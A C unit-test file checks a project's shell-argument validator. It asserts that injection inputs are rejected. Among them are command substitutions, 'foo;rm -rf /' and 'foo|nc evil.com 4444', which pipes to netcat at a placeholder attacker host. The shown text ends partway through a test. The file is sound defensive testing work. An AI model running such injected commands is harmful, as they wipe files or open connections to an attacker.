/* * test_security.c — Tests for security defenses. * * Verifies that the actual security mechanisms work end-to-end: * - Shell injection prevention (cbm_validate_shell_arg) * - SQLite authorizer (ATTACH/DETACH blocked) * - Path containment (realpath prevents directory traversal) */ #include "test_framework.h" #include "test_helpers.h" #include #include #include "../src/foundation/str_util.h" #include "../src/foundation/compat_fs.h" #ifdef _WIN32 #include "../src/foundation/compat_fs_internal.h" #include "../src/foundation/win_utf8.h" #include #include #endif #include #include /* ══════════════════════════════════════════════════════════════════ * SHELL INJECTION PREVENTION * ══════════════════════════════════════════════════════════════════ */ TEST(shell_rejects_single_quote) { ASSERT_FALSE(cbm_validate_shell_arg("foo'bar")); PASS(); } TEST(shell_rejects_dollar_subst) { ASSERT_FALSE(cbm_validate_shell_arg("$(whoami)")); PASS(); } TEST(shell_rejects_backtick) { ASSERT_FALSE(cbm_validate_shell_arg("`id`")); PASS(); } TEST(shell_rejects_semicolon) { ASSERT_FALSE(cbm_validate_shell_arg("foo;rm -rf /")); PASS(); } TEST(shell_rejects_pipe) { ASSERT_FALSE(cbm_validate_shell_arg("foo|nc evil.com 4444")); PASS(); } TEST(shell_rejects_ampersand) { ASSERT_FALSE(cbm_validate_shell_arg("foo&background")); PASS(); } TEST(shell_rejects_backslash) { #ifdef _WIN32 /* Backslash is allowed on Windows (path separator) */ ASSERT_TRUE(cbm_validate_shell_arg("foo\\bar")); #else ASSERT_FALSE(cbm_validate_shell_arg("foo\\bar")); #endif PASS(); } TEST(shell_rejects_newline) { ASSERT_FALSE(cbm_validate_shell_arg("foo\nbar")); PASS(); } TEST(shell_rejects_carriage_return) { ASSERT_FALSE(cbm_validate_shell_arg("foo\rbar")); PASS(); } TEST(shell_rejects_null) { ASSERT_FALSE(cbm_validate_shell_arg(NULL)); PASS(); } TEST(shell_rejects_double_quote) { /* On Windows, the search code path wraps args in cmd.exe-level * "powershell -Command \"...'%s'...\"". A " in the input would close * the cmd.exe outer quote. Block unconditionally. */ ASSERT_FALSE(cbm_validate_shell_arg("foo\"bar")); PASS(); } TEST(shell_rejects_redirect_out) { ASSERT_FALSE(cbm_validate_shell_arg("foo>out.txt")); PASS(); } TEST(shell_rejects_redirect_in) { ASSERT_FALSE(cbm_validate_shell_arg("foo